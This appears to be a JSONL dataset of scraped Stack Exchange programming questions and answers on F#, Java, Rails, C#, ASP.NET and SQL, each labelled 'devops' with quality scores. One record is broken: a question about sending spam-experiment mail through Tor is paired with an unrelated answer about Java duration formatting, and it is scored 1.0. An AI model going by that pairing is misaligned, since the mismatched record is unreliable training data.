{"id": "hf_a28768eff1fe", "question": "<p>I have a C# class the returns a List, using System.Collections.Generic Lists not F# List</p>\n\n<p>I want to iterate though the list to find a object or not find it.  Here is how I would do it in C#.  How would I accomplish the similar thing in F#</p>\n\n<pre><code>foreach (AperioCaseObj caseObj in CaseList)\n{\n     if (caseObj.CaseId == \"\")\n     {    \n     }\n     else\n     { \n     }\n}\n</code></pre>\n", "question_body": "", "answer": "See this example for iterating an integer generic list:\n```\n```\n#light\nopen System.Collections.Generic\n\nlet genList = new List<int>()\n\ngenList.Add(1)\ngenList.Add(2)\ngenList.Add(3)\n\nfor x in genList do\n  printf \"%d\" x\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.126905"}
{"id": "hf_4ee421b12708", "question": "<p>Is there any performance reason to declare method parameters final in Java?</p>\n\n<p>As in:</p>\n\n<pre><code>public void foo(int bar) { ... }\n</code></pre>\n\n<p>Versus:</p>\n\n<pre><code>public void foo(final int bar) { ... }\n</code></pre>\n\n<p>Assuming that <code>bar</code> is only read and never modified in <code>foo()</code>.</p>\n", "question_body": "", "answer": "Compilers that operate after class loading, such as JIT compilers, can take advantage of final methods. Consequently, methods declared final could have some performance benefit.\nhttp://www.javaperformancetuning.com/tips/final.shtml\nOh and another good resource\nhttp://mindprod.com/jgloss/final.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.187142"}
{"id": "hf_1e53e9c34cd9", "question": "<p>I need to see if a string value matches with an object value, but why won't this work?</p>\n\n<pre><code>public int countPacks(String flavour) {\n    int counter = 0;\n    for(int index = 0; index &lt; packets.size(); index++) {            \n        if (packets.equals(flavour)) {\n           counter ++;\n        }\n        else {\n           System.out.println(\"You have not entered a correct flavour\");\n        }\n    } \n    return counter; \n}\n</code></pre>\n", "question_body": "", "answer": "You probably mean something like\n```\n```\nif (packets.get(index).equals(flavour)) {\n   ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.221729"}
{"id": "hf_0277cb0a42a7", "question": "<p>Where is the best place to add a method to the integer class in Rails?\nI'd like to add a <code>to_meters</code> and <code>to_miles</code> methods.</p>\n", "question_body": "", "answer": "Normally (and logically), integers can't be converted to miles or to meters. It sounds like you may want to create a new class like \"Feet\" or \"inches\" that is initialized with an integer, then contains methods like size_in_miles or size_in_meters. For convenience those methods could return decimal or float types, but you might also want to write a miles class or a meters class.\nAs an alternate method, you might want to create a static method in your new class that would have a signature like this:\n```\nFloat feetToMiles(integer I)\n```\nthat you would call\n```\nmiles = Feet.feetToMiles(5280);\n```\nand get\n```\nmiles = 1.0\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.246610"}
{"id": "hf_ba578a6150fe", "question": "<p>I'd like to format a duration in seconds using a pattern like H:MM:SS. The current utilities in java are designed to format a time but not a duration.</p>\n", "question_body": "", "answer": "If you're using a version of Java prior to 8... you can use\nJoda Time\nand\n```\nPeriodFormatter\n```\n. If you've really got a duration (i.e. an elapsed amount of time, with no reference to a calendar system) then you should probably be using\n```\nDuration\n```\nfor the most part - you can then call\n```\ntoPeriod\n```\n(specifying whatever\n```\nPeriodType\n```\nyou want to reflect whether 25 hours becomes 1 day and 1 hour or not, etc) to get a\n```\nPeriod\n```\nwhich you can format.\nIf you're using Java 8 or later: I'd normally suggest using\n```\njava.time.Duration\n```\nto represent the duration. You can then call\n```\ngetSeconds()\n```\nor the like to obtain an integer for standard string formatting as per bobince's answer if you need to - although you should be careful of the situation where the duration is negative, as you probably want a\nsingle\nnegative sign in the output string. So something like:\n```\n```\npublic static String formatDuration(Duration duration) {\n    long seconds = duration.getSeconds();\n    long absSeconds = Math.abs(seconds);\n    String positive = String.format(\n        \"%d:%02d:%02d\",\n        absSeconds / 3600,\n        (absSeconds % 3600) / 60,\n        absSeconds % 60);\n    return seconds < 0 ? \"-\" + positive : positive;\n}\n```\n```\nFormatting this way is\nreasonably\nsimple, if annoyingly manual. For\nparsing\nit becomes a harder matter in general... You could still use Joda Time even with Java 8 if you want to, of course.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.281855"}
{"id": "hf_ebffd77a76a9", "question": "<p>I'm conducting experiments regarding e-mail spam. One of these experiments require sending mail thru Tor. Since I'm using Python and smtplib for my experiments, I'm looking for a way to use the Tor proxy (or other method) to perform that mail sending.\nIdeas how this can be done?</p>\n", "question_body": "", "answer": "If you're using a version of Java prior to 8... you can use\nJoda Time\nand\n```\nPeriodFormatter\n```\n. If you've really got a duration (i.e. an elapsed amount of time, with no reference to a calendar system) then you should probably be using\n```\nDuration\n```\nfor the most part - you can then call\n```\ntoPeriod\n```\n(specifying whatever\n```\nPeriodType\n```\nyou want to reflect whether 25 hours becomes 1 day and 1 hour or not, etc) to get a\n```\nPeriod\n```\nwhich you can format.\nIf you're using Java 8 or later: I'd normally suggest using\n```\njava.time.Duration\n```\nto represent the duration. You can then call\n```\ngetSeconds()\n```\nor the like to obtain an integer for standard string formatting as per bobince's answer if you need to - although you should be careful of the situation where the duration is negative, as you probably want a\nsingle\nnegative sign in the output string. So something like:\n```\n```\npublic static String formatDuration(Duration duration) {\n    long seconds = duration.getSeconds();\n    long absSeconds = Math.abs(seconds);\n    String positive = String.format(\n        \"%d:%02d:%02d\",\n        absSeconds / 3600,\n        (absSeconds % 3600) / 60,\n        absSeconds % 60);\n    return seconds < 0 ? \"-\" + positive : positive;\n}\n```\n```\nFormatting this way is\nreasonably\nsimple, if annoyingly manual. For\nparsing\nit becomes a harder matter in general... You could still use Joda Time even with Java 8 if you want to, of course.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.308686"}
{"id": "hf_5808029adca2", "question": "<p>I'm writing a Rails plugin that includes some partials.  I'd like to test the partials, but I'm having a hard time setting up a test that will render them.  There's no associated controller, so I'm just faking one:</p>\n\n<pre><code>require 'action_controller'\nrequire 'active_support'\nrequire 'action_pack'\nrequire 'action_view'\n\nclass MyTest &lt; Test::Unit::TestCase\n  def setup\n    @renderer = ActionController::Base.new\n    @renderer.append_view_path File.expand_path(File.join(File.dirname(__FILE__), '..', 'views'))\n  end\n\n  def test_renders_link\n    result = @renderer.render(:partial =&gt; '/something')\n    assert ...\n  end\nend\n</code></pre>\n\n<p>But that <code>:render</code> call always blows up.  I've tried using an <code>ActionView::Base</code> instead of an <code>ActionController::Base</code>, but that gets even less far.</p>\n\n<p>Has anyone had any success?</p>\n", "question_body": "", "answer": "checkout ActionView::TestCase -\nhttp://api.rubyonrails.org/classes/ActionView/TestCase.html\nYou can also use these to test helpers, which I've found extremely helpful.\nRSpec also has a way to test views:\nhttp://rspec.info/documentation/rails/writing/views.html\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.357770"}
{"id": "hf_aff88a1d06d9", "question": "<p>I am about 2 minor revisions behind.</p>\n", "question_body": "", "answer": "I'm one of those guys who always upgrade stuff. But have a look at the official\nchangelog\nand see if the many bugfixes and new features are interesting enough to you.\nI noticed 1.7.0 is out, and I'm definetly going to upgrade. But I need to test my applications after upgrading, since changes\ncould\nbreak existing code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.421851"}
{"id": "hf_b53628ba9f56", "question": "<p>How can I create an instance of the following annotation (with all fields set to their default value).</p>\n\n<pre><code>    @Retention( RetentionPolicy.RUNTIME )\n    public @interface Settings {\n            String a() default \"AAA\";\n            String b() default \"BBB\";\n            String c() default \"CCC\";\n    }\n</code></pre>\n\n<p>I tried <code>new Settings()</code>, but that does not seem to work...</p>\n", "question_body": "", "answer": "If used with a method:\n```\n```\n@Settings\npublic void myMethod() {\n}\n```\n```\nNow your annotation is initialized with default values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.483389"}
{"id": "hf_997b60aa6c1f", "question": "<p>I am trying to convert a date with individual parts such as 12, 1, 2007 into a datetime in SQL Server 2005. I have tried the following:</p>\n\n<pre><code>CAST(DATEPART(year, DATE)+'-'+ DATEPART(month, DATE) +'-'+ DATEPART(day, DATE) AS DATETIME)\n</code></pre>\n\n<p>but this results in the wrong date. What is the correct way to turn the three date values into a proper datetime format.</p>\n", "question_body": "", "answer": "Try CONVERT instead of CAST.\nCONVERT allows a third parameter indicating the date format.\nList of formats is here:\nhttp://msdn.microsoft.com/en-us/library/ms187928.aspx\nUpdate after another answer has been selected as the \"correct\" answer:\nI don't really understand why an answer is selected that clearly depends on the NLS settings on your server, without indicating this restriction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.549795"}
{"id": "hf_6e18f9792928", "question": "<p>We have a Windows Form application which hosts an IE browser control. Our users run the application and open links to documents stored in MOSS. We are trying to set the application up to pass in credentials of a service account so that we can avoid giving all users access to the MOSS site. We have used code found <a href=\"http://groups.google.com/group/microsoft.public.windows.inetexplorer.ie5.programming.components.webbrowser_ctl/browse_thread/thread/8a7f5038432f328e\" rel=\"nofollow noreferrer\">here</a> which seems to work fine if the user is not currently signed on to our domain. However the application will not seem to pass in the service account authentication for any user which is already authenticated to the domain. In this case it just seems to use the authenticated users credentials.</p>\n<p>How can we make this work?</p>\n", "question_body": "", "answer": "Would impersonation not help here? You can run that bit of code (the form) under the guise of the service account user you're talking about and the browser control should then run within the same context.\nthe following links might help;\nhttp://msdn.microsoft.com/en-us/library/b80a7e92.aspx\nhttp://www.buro9.com/blog/2006/10/06/impersonating-a-user-in-c/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.605949"}
{"id": "hf_c10a4de9dd94", "question": "<p>I'm trying to save the output of an vector image drawin in Java2D to an SWF file. There are great libraries for saving java2D output as things like SVG (BATIK) and PDF(itext) but I can't find one for SWF.  Any ideas?</p>\n", "question_body": "", "answer": "Flash generally uses SVG as its native format.  You could export to SVG and then write a trivial Flash program to embed and display the image.  But why use Flash at all?  Most browsers are capable of displaying SVG nowadays.\nEdit\n: I don't know why I was downvoted for a clearly correct answer.  I can understand not being upvoted for not having the best answer (I fully acknowledge that this soltuion isn't ideal), but I really don't think it deserves a downvote.  You can consult the section in the middle of\nthis page\nabout embedding SVG in Flex programs.  For those of you who aren't familiar, Flex is an adobe toolkit/library that generates SWF programs that run in the normal Flash player.  Many (all?) of the normal Flash libraries are available to it.  It uses ActionScript.  For you doubters, here's a snippet showing exactly how you do it, copied from a Flex program I wrote.  It should go inside an MXML file.\n```\n```\n<mx:Script><![CDATA[\n\n[Embed(source=\"../images/down.svg\")]\n[Bindable]\nprotected var drillDownImage:Class;\n\n]]></mx:Script>\n\n<mx:HBox width=\"50%\" horizontalAlign=\"right\">\n    <mx:Image id=\"drillDownButton\" source=\"{drillDownImage}\" height=\"20\" width=\"20\" click=\"drillDown();\" />\n</mx:HBox>\n```\n```\nNow all you need to do is wrap that in an appropriate MXML file, maybe import some controls packages for the HBox and Image tags, and you're good to go.  The example in the link I provided should be sufficient for you to figure it out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.676876"}
{"id": "hf_4084d706e264", "question": "<p>I'm trying to understand what this method means as I'm reading <a href=\"http://msdn.microsoft.com/en-us/library/system.web.ui.clientscriptmanager.getpostbackeventreference.aspx\" rel=\"noreferrer\">this</a> and have wondered what uses this may have. I don't quite understand the example given.</p>\n\n<p>Can anyone give another explanation of it. Examples would help.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "The simplest example is a LinkButton. Drop one in a page and look at the HTML it generates. You'll see something like.\n```\n```\nhref=\"javascript:__doPostBack('ctl00$LinkButton1','')\"\n```\n```\nGetPostBackEventReference allows you to get that piece of JavaScript, so that you can trigger that postback from elsewhere. However you run that bit of JavaScript, a postback will happen and the OnClick event will fire on the server just as if you'd clicked the LinkButton. The example on MSDN wires up a similar bit of JavaScript to the links to trigger server-side events on the GridView.\nThe more practical uses are when you want to handle postbacks in a custom control. Your control implements\nIPostBackEventHandler\nto handle the postbacks on the server, and you use GetPostBackEventReference to get the JavaScript that will trigger those postbacks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.715374"}
{"id": "hf_ef7bcdba977c", "question": "<p>I need to read an Excel 2007 XLSX file in a Java application. Does anyone know of a good API to accomplish this task?</p>\n", "question_body": "", "answer": "I had to do this in .NET and I couldn't find any API's out there.   My solution was to unzip the .xlsx, and dive right into manipulating the XML.   It's not so bad once you create your helper classes and such.\nThere are some \"gotchas\" like the nodes all have to be sorted according to the way excel expects them, that I didn't find in the official docs.  Excel has its own date timestamping, so you'll need to make a conversion formula.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.738545"}
{"id": "hf_ce5a6e3ad3ae", "question": "<p>Could someone please tell me which objects types can be tested using Regular Expressions in C#?</p>\n", "question_body": "", "answer": "If I understand you correctly and you are asking which object types can be tested against regular expressions then the answer is: strings and only strings.\nThus your test would be:\n```\n```\nif(obj is string){...}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.861288"}
{"id": "hf_f69e8b4e6a5c", "question": "<p>I always try to avoid to return string literals, because I fear they aren't defined outside of the function. But I'm not sure if this is the case. Let's take, for example, this function:</p>\n\n<pre><code>\nconst char *\nreturn_a_string(void)\n{\n    return \"blah\";\n}\n</code></pre>\n\n<p>Is this correct code? It does work for me, but maybe it only works for my compiler (gcc). So the question is, do (string) literals have a scope or are they present/defined all the time.</p>\n", "question_body": "", "answer": "This code is fine across all platforms.  The string gets compiled into the binary as a static string literal.  If you are on windows for example you can even open your .exe with notepad and search for the string itself.\nSince it is a static string literal scope does not matter.\nString pooling:\nOne thing to look out for is that in some cases, identical string literals can be \"pooled\" to save space in the executable file.  In this case each string literal that was the same could have the same memory address.  You should never assume that it will or will not be the case though.\nIn most compilers you can set whether or not to use static string pooling for stirng literals.\nMaximum size of string literals:\nSeveral compilers have a maximum size for the string literal.  For example with VC++ this is approximately 2,048 bytes.\nModifying a string literal gives undefined behavior:\nModifying a string literal should never be done.  It has an undefined behavior.\n```\n```\nchar * sz = \"this is a test\";\nsz[0] = 'T'; //<--- undefined results\n```\n```\nWide string literals:\nAll of the above applies equally to wide string literals.\nExample: L\"this is a wide string literal\";\nThe C++ standard states:\n(section lex.string)\n1 A  string  literal  is  a  sequence\n  of  characters  (as  defined   in\nlex.ccon\n) surrounded by double quotes, optionally beginning with the\n  letter L, as in \"...\" or L\"...\".  A string literal that does not begin\n  with  L  is  an  ordinary string literal, also referred to as a narrow\n  string literal.  An ordinary string literal has type \"array of n\n  const\n  char\"  and  static storage duration (\nbasic.stc\n), where n is the\n  size\n  of the string as defined below, and  is  initialized  with  the  given\n  characters.   A string literal that begins with L, such as L\"asdf\",\n  is\n  a wide string literal.  A wide string literal has  type  \"array  of \n  n\n  const wchar_t\" and has static storage duration, where n is the size\n  of\n  the string as defined below, and is initialized with the given charac-\n  ters.\n2 Whether  all  string  literals  are  distinct  (that is, are stored in\n    nonoverlapping objects)  is  implementation-defined.   The  effect \n  of\n   attempting to modify a string literal is undefined.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.932006"}
{"id": "hf_7dcf36e15182", "question": "<p>I have a site where I use CustomErrors in the web.config to specify a custom error page, and that's working just fine.  The custom 404 page is also specified in the IIS configuration (because if it's not, I don't get my custom 404 page).</p>\n\n<p>But I have some logic that kicks in if a user gets a 404 that looks at their requested URL and make a navigation suggestion, if appropriate.  This logic relies on the aspxerrorpath value.  On my development PC, the aspxerrorpath is correctly appended to the URL, like so:\n<em><a href=\"http://localhost:3092/FileNotFound.aspx?aspxerrorpath=/badpage.aspx\" rel=\"noreferrer\">http://localhost:3092/FileNotFound.aspx?aspxerrorpath=/badpage.aspx</a></em>, but on my test site, there's no aspxerrorpath appended to the URL, so all of my custom logic is bypassed and my suggestions don't work.  I'm not sure if this is an IIS config issue or something else.  The web server is Windows Server 2008 with IIS 7.</p>\n\n<p>Any thoughts?</p>\n\n<p>Many Thanks.</p>\n", "question_body": "", "answer": "The aspxerrorpath parameter is passed if the error was caught by .NET (and the error page specified in web.config is used). This happens if you're using the development web server, or if IIS is configured not to check that the file exists.\nIf IIS checks that the file exists, then the custom error configured in IIS is used, and the requested URL is included in the querystring as something like\n```\nhttp://example.com/FileNotFound.aspx?404;http://example.com/badpage.aspx\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.984186"}
{"id": "hf_4233a1a561c8", "question": "<p>I recently added JQuery's date-picker control to a project. In Internet Exploder, I get the following error message:</p>\n\n<blockquote>\n  <p>Internet Explorer cannot open the\n  Internet site</p>\n  \n  <p><a href=\"http://localhost/\" rel=\"nofollow noreferrer\">http://localhost/</a></p>\n  \n  <p>Operation aborted</p>\n</blockquote>\n\n<p>What is causing this problem?</p>\n", "question_body": "", "answer": "Found this possibly related blog post:\nhttp://blogs.msdn.com/ie/archive/2008/04/23/what-happened-to-operation-aborted.aspx\nOr this:\nhttp://weblogs.asp.net/infinitiesloop/archive/2006/11/02/Dealing-with-IE-_2600_quot_3B00_Operation-Aborted_2600_quot_3B002E00_-Or_2C00_-how-to-Crash-IE.aspx\nSeems to be pretty common", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.044515"}
{"id": "hf_ea2920288a75", "question": "<p>In C++ when can a virtual function use static binding? If it is being accessed through a pointer, accessed directly, or never?</p>\n", "question_body": "", "answer": "Static binding can only be done when the object's type is totally unambiguous at compile time. I can only think of four places where an abstract object's type is unambiguous: in the constructor, in the destructor, when declared locally and within the same scope as a dynamic allocation. I don't know the standard that well so I couldn't say what it says about those four possibilities (I'd say the first two are statically bound, the third possible statically bound and the last not; although it probably says it's undefined or implementation dependent). Other than those points, the object being accessed through a base class pointer could be pointing to a derived class and the current translation unit has no way of knowing, so static binding is not possible. The function could be called with a pointer to the base class in one instance and a pointer to a derived class in another!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.104874"}
{"id": "hf_982a880a0a60", "question": "<p>Bascially I want to know the best way to hide/show an ASP.NET control from a Javascript function.  I figured I would just access the control in Javascript using:</p>\n\n<pre><code>var theControl = document.getElementById(\"txtEditBox\");\n</code></pre>\n\n<p>Then just set the control's Visible property to true/false.  It doesn't seem to be working, I can't seem to figure out how to set \"Visible\" to true/false.  How can I do that?  Also, is that the best way to hide/show a ASP.NET control from a Javascript function?</p>\n\n<p>Thanks,\nJeff </p>\n", "question_body": "", "answer": "The \"Visible\" property of an ASP.NET control determines whether or not it will be rendered on the client (i.e. sent to the client). If it is false when the page is rendered, it will never arrive at the client.\nSo, you cannot, technically, set that property of the control.\nThat said, if the control\nis\nrendered on the client because the Visible property is true when the page is rendered, you can then hide it using javascript like this:\n```\n```\nvar theControl = document.getElementById(\"txtEditBox\");\ntheControl.style.display = \"none\";\n\n// to show it again:\ntheControl.style.display = \"\";\n```\n```\nThat assumes that the control's\n```\nid\n```\nattribute really is \"txtEditBox\" on the client and that it is already visible.\nAlso, is that the best way to hide/show a ASP.NET control from a Javascript function?\nThere is not necessarily a \"best\" way, although one better approach is to use CSS class definitions:\n```\n```\n.invisible { display: none; }\n```\n```\nWhen you want to hide something, dynamically apply that class to the element; when you want to show it again, remove it. Note, I believe this will only work for elements whose\n```\ndisplay\n```\nvalue starts off as\n```\nblock\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.129227"}
{"id": "hf_bac26bc8ea86", "question": "<p>I have a computer at home which I can't access from work.  I'd like to be able to view results from work that my home computer produces.  The best idea I've come up with is an automated script running on my home computer that emails myself the results (from a text file or stderr/out) when complete.  </p>\n\n<p>I'm decent with bash (I have a <em>linux</em> machine) and java, so an answer using either or both of those would be ideal, but if there's something easier that's fine too.</p>\n\n<p>I typically use gmail, but also have yahoo mail.  </p>\n\n<p>My question is this: what would be the basic steps in solving this problem?  I can do the nitty gritty stuff, but can't really get the big picture of how something like this would work.</p>\n\n<p>Please help.</p>\n\n<p>jbu</p>\n", "question_body": "", "answer": "Traditionaly, with unix systems like Linux, you'd have an MTA, a mail transfer agent, on the computer that deals with sending e-mail.\nThis could be a full blown e-mail server like exim, or something simple like ssmtp that just sends messages on to a relaying SMTP server such as would be provided by your ISP.\nThis isn't neccessarily the case anymore, since mail clients like Thunderbird include their own MTA, much like mail clients on Windows do.\nHowever, it is likely that your distro will install some MTA or other by default, if for no other reason than the fact that other things on your system, like cron, want to be able to send e-mail. Generally there will be a command line tool called sendmail (sendmail being the original MTA [citation needed], other MTAs maintain compatability with its interface and it has sort of become the standard) that can be used from a shell script to send an e-mail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.161917"}
{"id": "hf_a13579d01d49", "question": "<p>We need to handle this event in the base form, regardless of which controls currently have focus. We have a couple of global key commands that need to work regardless of control focus.</p>\n\n<p>This works by handling the PreviewKeyDown event in the form normally.  When we add a user control to the form, the event no longer fires.</p>\n\n<p>Am I missing something trivial here?  Or do we need to handle the event in the user control first?</p>\n\n<p>Thanks for your help!</p>\n\n<p><p>Thanks Factor.  When I get more time :) I'll get it working 'properley'!</p>\n", "question_body": "", "answer": "This is probably not the best way of doing it, but the first way that comes to mind.\nIn your forms constructor, after you call InitializeComponent(); do something like this:\n```\n```\nforeach (Control control in this.Controls)\n            {\n                control.PreviewKeyDown += new PreviewKeyDownEventHandler(HandlePreviewKeyDown);\n            }\n```\n```\nI THINK that should do the trick. In your HandlePreviewKeyDown method you can then do your work and it should trigger regardless of which control has focus.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.185362"}
{"id": "hf_8800e6a79920", "question": "<p>I want to display the current host and database names in a view.</p>\n\n<p>Where can I get these names?</p>\n\n<p>Are there some predefined environment or global variables? </p>\n", "question_body": "", "answer": "You can create a rails configuration object and obtain the necessary information from it:\n```\n```\nconfig   = Rails::Configuration.new\nhost     = config.database_configuration[RAILS_ENV][\"host\"]\ndatabase = config.database_configuration[RAILS_ENV][\"database\"]\n```\n```\nSee the\ndocumentation\nfor Rails::Configuration for details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.220622"}
{"id": "hf_867f70ec6dc4", "question": "<p>I would like to write an application that will copy MP3 files to a SanDisk Sansa M240.  The SanDisk doesn't have a drive letter and uses MTP for file transfer. \nI stumbled through the sample of connecting to the device at : <a href=\"http://blogs.msdn.com/dimeby8/archive/2006/09/27/774259.aspx\" rel=\"nofollow noreferrer\">http://blogs.msdn.com/dimeby8/archive/2006/09/27/774259.aspx</a></p>\n\n<p>but once connected, I can't figure out how to actually copy files / create folders on the device.</p>\n\n<p>I am very surprised that there aren't any .Net wrappers for this COM library.</p>\n", "question_body": "", "answer": "It looks like dimeby8 posted some code that handles data transfers.  Check other posts in his blog, especially:\nSending MTP commands through WPD part 1\nSending MTP commands through WPD part 2\nSending MTP commands through WPD part 3", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.256298"}
{"id": "hf_adb681c12e2d", "question": "<p>It seems if I do something like</p>\n\n<pre><code>$file = fopen($filepath, \"w\");\n$CR = curl_init();\ncurl_setopt($CR, CURLOPT_URL, $source_path);\ncurl_setopt($CR, CURLOPT_POST, 1);\ncurl_setopt($CR, CURLOPT_FAILONERROR, true);\ncurl_setopt($CR, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($CR, CURLOPT_SSL_VERIFYPEER, 0);\ncurl_setopt($CR, CURLOPT_FILE, $file);\n$result = curl_exec( $CR );\n$error = curl_error( $CR );\nprint filesize($filepath);\n</code></pre>\n\n<p>I get a different result than if I just run</p>\n\n<pre><code>print filesize($filepath);\n</code></pre>\n\n<p>a second time.  My guess is that curl is still downloading when do a filesize().</p>\n", "question_body": "", "answer": "Note that functions like filesize() cache their result, try adding a call to clearstatcache() above 'print filesize(...);'. Here is an example:\n```\n```\n$file = '/tmp/test12345';\nfile_put_contents($file, 'hello');\necho filesize($file), \"\\n\";\nfile_put_contents($file, 'hello world, this is a test');\necho filesize($file), \"\\n\";\nclearstatcache();\necho filesize($file), \"\\n\";\n```\n```\nSee www.php.net/clearstatcache", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.279563"}
{"id": "hf_dbc06dafa3cf", "question": "<p>I have some code that looks like:</p>\n\n<pre><code>template&lt;unsigned int A, unsigned int B&gt;\nint foo() {\n  int v = 1;\n  const int x = A - B;\n  if (x &gt; 0) {\n    v = v &lt;&lt; x;\n  }\n  bar(v);\n}\n</code></pre>\n\n<p>gcc will complain about x being negative for certain instantiations of A, B; however,  I do perform a check to make sure it is non-negative.  What's the best way around this?  I know I can cast <code>x</code> to be <code>unsigned int</code> but that will cause warnings about <code>x</code> being larger than the width of <code>v</code> (since it is casting a negative number to be positive).  I know there is a work-around that involves creating a new templatized <code>shift</code> function, but I'd like to avoid that if possible.</p>\n", "question_body": "", "answer": "Would this work?\n```\n```\nconst short unsigned int x = A - B;\n```\n```\nIt's cutting off a lot more bits than need to be cut off, but if your values of A - B are small enough...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:23.336880"}
